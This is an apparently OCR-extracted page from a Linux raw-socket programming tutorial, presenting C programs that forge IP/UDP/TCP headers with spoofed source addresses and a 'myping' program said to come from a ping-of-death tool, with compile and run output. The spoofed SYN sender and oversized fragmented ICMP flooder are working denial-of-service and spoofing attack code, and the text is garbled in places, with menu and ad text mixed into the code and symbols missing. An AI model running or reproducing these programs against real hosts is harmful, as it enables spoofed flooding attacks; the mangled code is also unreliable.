LINUX SOCKET PART 17 Advanced TCP/IP - THE RAW SOCKET PROGRAM EXAMPLES

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// No data/payload just datagram

This is a continuation from Part IV series, Advanced TCP/IP Programming Tutorial. Working program examples if any compiled usinggcc, tested using the public IPs, run on **Fedora Core 3**, with several times of update, as root or SUID 0. The Fedora machine used for the testing having the "No Stack Execute" disabled and the SELinux set to default configuration.

Building and injecting RAW datagrams program examples

```
[root@bakawali testraw] # cat rawudp.c
// ----rawudp.c----
// Must be run by root lol! Just datagram, no payload/data
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
// The packet length
#define PCKT LEN 8192
// Can create separate header file (.h) for all headers' structure
// The IP header's structure
struct ipheader {
                     iph ihl:5, iph ver:4;
unsigned char
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph ident;
 unsigned char iph_flag;
 unsigned short int iph offset;
 unsigned char iph_ttl;
unsigned char iph_protocol;
 unsigned short int iph chksum;
 unsigned int iph_sourceip;
 unsigned int
                    iph destip;
// UDP header's structure
struct udpheader {
unsigned short int udph srcport;
unsigned short int udph destport;
```

```
Menu
Network Story 1
Network Story 2
Network Story 3
                      unsigned short int udph_len;
Network Story 4
                      unsigned short int udph chksum;
Network Story 5
                     };
Network Story 6
                     // total udp header length: 8 bytes (=64 bits)
Socket Example 1
Socket Example 2
                     // Function for checksum calculation. From the RFC,
Socket Example 3
                     // the checksum algorithm is:
Socket Example 4
                         "The checksum field is the 16 bit one's complement of the one's
Socket Example 5
                     // complement sum of all 16 bit words in the header. For purposes of
Socket Example 6
                     // computing the checksum, the value of the checksum field is zero."
Socket Example 7
                     unsigned short csum(unsigned short *buf, int nwords)
Advanced TCP/IP 1
Advanced TCP/IP 2
                             unsigned long sum;
                             for(sum=0; nwords>0; nwords--)
Advanced TCP/IP 3
                                     sum += *buf++;
Advanced TCP/IP 4
                             sum = (sum >> 16) + (sum &0xffff);
Advanced TCP/IP 5
                             sum += (sum >> 16);
                             return (unsigned short) (~sum);
    // Source IP, source port, target IP, target port from the command line arguments
    int main(int argc, char *argv[])
    int sd;
```

```
// Our own headers' structures
struct ipheader *ip = (struct ipheader *) buffer;
struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
// Source and destination addresses: IP and port
struct sockaddr in sin, din;
int one = 1;
const int *val = &one;
memset(buffer, 0, PCKT LEN);
if(argc != 5)
printf("- Invalid parameters!!!\n");
printf("- Usage %s <source hostname/IP> <source port> <target hostname/IP> <target</pre>
port>\n", argv[0]);
exit(-1);
// Create a raw socket with UDP protocol
sd = socket(PF_INET, SOCK_RAW, IPPROTO UDP);
if(sd < 0)
perror("socket() error");
// If something wrong just exit
exit(-1);
printf("socket() - Using SOCK RAW socket and UDP protocol is OK.\n");
// The source is redundant, may be used later if needed
// The address family
sin.sin family = AF INET;
din.sin family = AF INET;
// Port numbers
sin.sin port = htons(atoi(argv[2]));
din.sin port = htons(atoi(argv[4]));
// IP addresses
sin.sin addr.s addr = inet addr(argv[1]);
din.sin addr.s addr = inet addr(argv[3]);
// Fabricate the IP header or we can use the
// standard header structures but assign our own values.
ip->iph ihl = 5;
ip->iph\_ver = 4;
ip->iph tos = 16; // Low delay
ip->iph len = sizeof(struct ipheader) + sizeof(struct udpheader);
ip->iph ident = htons(54321);
ip->iph ttl = 64; // hops
ip->iph_protocol = 17; // UDP
// Source IP address, can use spoofed address here!!!
ip->iph_sourceip = inet_addr(argv[1]);
// The destination IP address
ip->iph destip = inet addr(argv[3]);
// Fabricate the UDP header. Source port number, redundant
udp->udph srcport = htons(atoi(argv[2]));
// Destination port number
udp->udph_destport = htons(atoi(argv[4]));
udp->udph len = htons(sizeof(struct udpheader));
// Calculate the checksum for integrity
ip->iph chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct
udpheader));
// Inform the kernel do not fill up the packet structure. we will build our own...
                                                                                                ① X
                                          Take your business online.
                                          Get a domain name, professional email and a modern website up and runi
 GoDaddy.com
                                                                                        Sh
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0)</pre>
```

char buffer[PCKT LEN];

```
perror("setsockopt() error");
exit(-1);
else
printf("setsockopt() is OK.\n");
// Send loop, send for every 2 second for 100 count
printf("Trying...\n");
printf("Using raw socket and UDP protocol\n");
printf("Using Source IP: %s port: %u, Target IP: %s port: %u.\n", argv[1],
atoi(argv[2]), argv[3], atoi(argv[4]));
int count;
for(count = 1; count <=20; count++)</pre>
if(sendto(sd, buffer, ip->iph len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
// Verify
perror("sendto() error");
exit(-1);
else
printf("Count #%u - sendto() is OK.\n", count);
sleep(2);
close(sd);
return 0;
[root@bakawali testraw]#gcc rawudp.c -o rawudp
[root@bakawali testraw]#./rawudp
- Invalid parameters!!!
- Usage ./rawudp <source hostname/IP> <source port>
<target hostname/IP> <target port>
[root@bakawali testraw]# ./rawudp 192.168.10.10 21
                                                               数ヶ月に及ぶ転職活動。
203.106.93.91 8080
                                                               何十回にも渡る面接。
socket() - Using SOCK RAW socket and UDP protocol is OK.
                                                               結果年収が下がった・
setsockopt() is OK.
Trying...
Using raw socket and UDP protocol
Using Source IP: 192.168.10.10 port: 21, Target IP:
203.106.93.91 port: 8080.
                                                               そうなる前に。
Count #1 - sendto() is OK.
Count #2 - sendto() is OK.
Count #3 - sendto() is OK.
Count #4 - sendto() is OK.
                                                              面接前に年収がわかる
Count #5 - sendto() is OK.
Count #6 - sendto() is OK.
Count #7 - sendto() is OK.
```

You can use network monitoring tools to capture the raw socket datagrams at the target machine to see the effect. The following is a raw socket and top program example.

```
[root@bakawali testraw]# cat rawtcp.c
//---cat rawtcp.c-
// Run as root or SUID 0, just datagram no data/payload
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
// Packet length
#define PCKT LEN 8192
// May create separate header file (.h) for all
// headers' structures
// IP header's structure
struct ipheader {
                    iph ihl:5, /* Little-endian */
unsigned char
                    iph_ver:4;
unsigned char
                    iph_tos;
unsigned short int iph len;
unsigned short int iph ident;
unsigned char
                    iph_flags;
unsigned short int iph offset;
unsigned char
                    iph ttl;
unsigned char
                    iph protocol;
```

```
unsigned short int iph chksum;
                iph_sourceip;
 unsigned int
 unsigned int
                    iph destip;
/* Structure of a TCP header */
struct tcpheader {
 unsigned short int tcph_srcport;
 unsigned short int tcph destport;
 unsigned int tcph_seqnum;
                    tcph acknum;
 unsigned int
                  tcph reserved:4, tcph_offset:4;
 unsigned char
 // unsigned char tcph_flags;
 unsigned int
                        /*little-endian*/
       tcp res1:4,
                       /*length of tcp header in 32-bit words*/
/*Finish flag "fin"*/
       tcph hlen:4,
       tcph fin:1,
                        /*Synchronize sequence numbers to start a connection*/
       tcph syn:1,
                       /*Reset flag */
       tcph rst:1,
                       /*Push, sends data to the application*/
       tcph_psh:1,
       tcph ack:1,
                        /*acknowledge*/
                        /*urgent pointer*/
       tcph urg:1,
       tcph_res2:2;
 unsigned short int tcph win;
 unsigned short int tcph chksum;
unsigned short int tcph urgptr;
};
// Simple checksum function, may use others such as Cyclic Redundancy Check, CRC
unsigned short csum(unsigned short *buf, int len)
{
        unsigned long sum;
        for(sum=0; len>0; len--)
                sum += *buf++;
        sum = (sum >> 16) + (sum &0xffff);
        sum += (sum >> 16);
        return (unsigned short) (~sum);
int main(int argc, char *argv[])
int sd;
// No data, just datagram
char buffer[PCKT LEN];
// The size of the headers
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer + sizeof(struct ipheader));
struct sockaddr in sin, din;
int one = 1;
const int *val = &one;
memset(buffer, 0, PCKT LEN);
if(argc != 5)
printf("- Invalid parameters!!!\n");
printf("- Usage: %s <source hostname/IP> <source port> <target hostname/IP> <target</pre>
port>\n", argv[0]);
exit(-1);
sd = socket(PF_INET, SOCK_RAW, IPPROTO TCP);
if(sd < 0)
   perror("socket() error");
   exit(-1);
else
printf("socket()-SOCK RAW and tcp protocol is OK.\n");
// The source is redundant, may be used later if needed
// Address family
sin.sin family = AF INET;
din.sin_family = AF_INET;
// Source port, can be any, modify as needed
sin.sin_port = htons(atoi(argv[2]));
din.sin port = htons(atoi(argv[4]));
// Source IP, can be any, modify as needed
sin.sin addr.s addr = inet addr(argv[1]);
din.sin addr.s addr = inet addr(argv[3]);
// IP structure
ip->iph ihl = 5;
```

```
ip->iph ver = 4;
ip->iph tos = 16;
ip->iph len = sizeof(struct ipheader) + sizeof(struct tcpheader);
ip->iph_ident = htons(54321);
ip->iph_offset = 0;
ip \rightarrow iph ttl = 64;
ip->iph_protocol = 6; // TCP
ip->iph chksum = 0; // Done by kernel
// Source IP, modify as needed, spoofed, we accept through command line argument
ip->iph sourceip = inet addr(argv[1]);
// Destination IP, modify as needed, but here we accept through command line argument
ip->iph_destip = inet_addr(argv[3]);
// The TCP structure. The source port, spoofed, we accept through the command line
tcp->tcph_srcport = htons(atoi(argv[2]));
// The destination port, we accept through command line
tcp->tcph destport = htons(atoi(argv[4]));
tcp->tcph seqnum = htonl(1);
tcp->tcph acknum = 0;
tcp->tcph_offset = 5;
tcp->tcph syn = 1;
tcp->tcph_ack = 0;
tcp->tcph win = htons(32767);
tcp->tcph chksum = 0; // Done by kernel
tcp->tcph urgptr = 0;
// IP checksum calculation
ip->iph chksum = csum((unsigned short *) buffer, (sizeof(struct ipheader) +
sizeof(struct tcpheader)));
// Inform the kernel do not fill up the headers' structure, we fabricated our own
                                                                                              ① X
                                           Take your business
                                           online.
                                           Get a domain name, professional
                                           email and a modern website up
                                           and running in no time.
        GoDaddy.com
if(setsockopt(sd, IPPROTO IP, IP HDRINCL, val, sizeof(one)) < 0)</pre>
    perror("setsockopt() error");
    exit(-1);
  printf("setsockopt() is OK\n");
printf("Using:::::Source IP: %s port: %u, Target IP: %s port: %u.\n", argv[1],
atoi(argv[2]), argv[3], atoi(argv[4]));
// sendto() loop, send every 2 second for 50 counts
unsigned int count;
for(count = 0; count < 20; count++)</pre>
if(sendto(sd, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)</pre>
// Verify
   perror("sendto() error");
   exit(-1);
  printf("Count #%u - sendto() is OK\n", count);
sleep(2);
close(sd):
return 0;
[root@bakawali testraw]# gcc rawtcp.c -o rawtcp
[root@bakawali testraw]# ./rawtcp
- Invalid parameters!!!
- Usage: ./rawtcp <source hostname/IP> <source port> <target hostname/IP> <target port>
[root@bakawali testraw]# ./rawtcp 10.10.10.100 23 203.106.93.88 8008
socket()-SOCK RAW and tcp protocol is OK.
```

```
setsockopt() is OK
Using::::Source IP: 10.10.10.100 port: 23, Target IP: 203.106.93.88 port: 8008.
Count #0 - sendto() is OK
Count #1 - sendto() is OK
Count #2 - sendto() is OK
Count #3 - sendto() is OK
Count #4 - sendto() is OK
...
```



Network utilities applications such asping and Traceroute (check Unix/Linux man page) use ICMP and raw socket. The following is a very loose ping and ICMP program example. It is taken from **ping-of-death** program.

```
[root@bakawali testraw]#cat myping.c
^{\prime \star} Must be root or SUID 0 to open RAW socket ^{\star \prime}
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
int main(int argc, char *argv[])
 int s, i;
 char buf[400];
 struct ip *ip = (struct ip *)buf;
  struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
 struct hostent *hp, *hp2;
  struct sockaddr_in dst;
 int offset;
  int on;
  int num = 100;
  if(argc < 3)
     printf("\nUsage: %s <saddress> <dstaddress> [number]\n", argv[0]);
    printf("- saddress is the spoofed source address\n");
     printf("- dstaddress is the target\n");
     printf("- number is the number of packets to send, 100 is the default\n");
     exit(1);
  /* If enough argument supplied */
  if(argc == 4)
     /* Copy the packet number */
      num = atoi(argv[3]);
    /* Loop based on the packet number */
    for (i=1; i<=num; i++)</pre>
       on = 1:
       bzero(buf, sizeof(buf));
       /* Create RAW socket */
       if((s = socket(AF INET, SOCK RAW, IPPROTO RAW)) < 0)</pre>
       perror("socket() error");
        /* If something wrong, just exit */
        exit(1);
       /\!\!^* socket options, tell the kernel we provide the IP structure ^*/\!\!
       if(setsockopt(s, IPPROTO IP, IP HDRINCL, &on, sizeof(on)) < 0)</pre>
        perror("setsockopt() for IP_HDRINCL error");
        exit(1);
```

```
if((hp = gethostbyname(argv[2])) == NULL)
         if((ip->ip dst.s addr = inet addr(argv[2])) == -1)
             fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
             exit(1);
       else
           bcopy(hp->h addr list[0], &ip->ip dst.s addr, hp->h length);
        ^{\prime\star} The following source address just redundant for target to collect ^{\star\prime}
        if((hp2 = gethostbyname(argv[1])) == NULL)
         if((ip->ip src.s addr = inet addr(argv[1])) == -1)
              fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
              exit(1);
         }
        else
             bcopy(hp2->h addr list[0], &ip->ip src.s addr, hp->h length);
        printf("Sending to %s from spoofed %s\n", inet ntoa(ip->ip dst), argv[1]);
        /* Ip structure, check the ip.h */
        ip->ip_v = 4;
ip->ip_hl = sizeof*ip >> 2;
        ip \rightarrow ip tos = 0;
        ip->ip_len = htons(sizeof(buf));
ip->ip id = htons(4321);
        ip->ip off = htons(0);
        ip->ip_ttl = 255;
        ip \rightarrow ip_p = 1;
        ip->ip sum = 0; /* Let kernel fills in */
        dst.sin addr = ip->ip dst;
        dst.sin family = AF INET;
        icmp->type = ICMP ECHO;
        icmp->code = 0;
         /* Header checksum */
        icmp->checksum = htons(~(ICMP ECHO << 8));</pre>
        for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip)))</pre>
        ip->ip off = htons(offset >> 3);
        if(offset < 65120)</pre>
         ip->ip_off \mid = htons(0x2000);
        else
          ip->ip len = htons(418); /* make total 65538 */
        /* sending time */
        if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *) &dst, sizeof(dst)) < 0)
           fprintf(stderr, "offset %d: ", offset);
           perror("sendto() error");
     else
       printf("sendto() is OK.\n");
        /* IF offset = 0, define our ICMP structure */
        if(offset == 0)
        icmp->type = 0;
        icmp->code = 0;
        icmp->checksum = 0;
      /* close socket */
      close(s);
      usleep(30000);
    return 0;
[root@bakawali testraw]# gcc myping.c -o myping
[root@bakawali testraw]# ./myping
Usage: ./myping <saddress> <dstaddress> [number]
```

```
- saddress is the spoofed source address
- dstaddress is the target
- number is the number of packets to send, 100 is the default
[root@bakawali testraw]# ./myping 1.2.3.4 203.106.93.94 10000
sendto() is OK.
sendto() is OK.
...
sendto() is OK.
sendto() is OK.
Sending to 203.106.93.88 from spoofed 1.2.3.4
sendto() is OK.
...
```

You can verify this 'attack' at the target machine by issuing the tcpdump -vv command or other network analyzer tools such asEthereal/Wireshark.

More reading and digging:

- 1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.
- 2. Broadcasting, multicasting etc sample codes.
- 3. Telephony HOW-TO TLDP.
- 4. GCC, GDB and other related tools.
- 5. The NonStop HP TCP/IP programming (Pdf).
- 6. Original ping source code.

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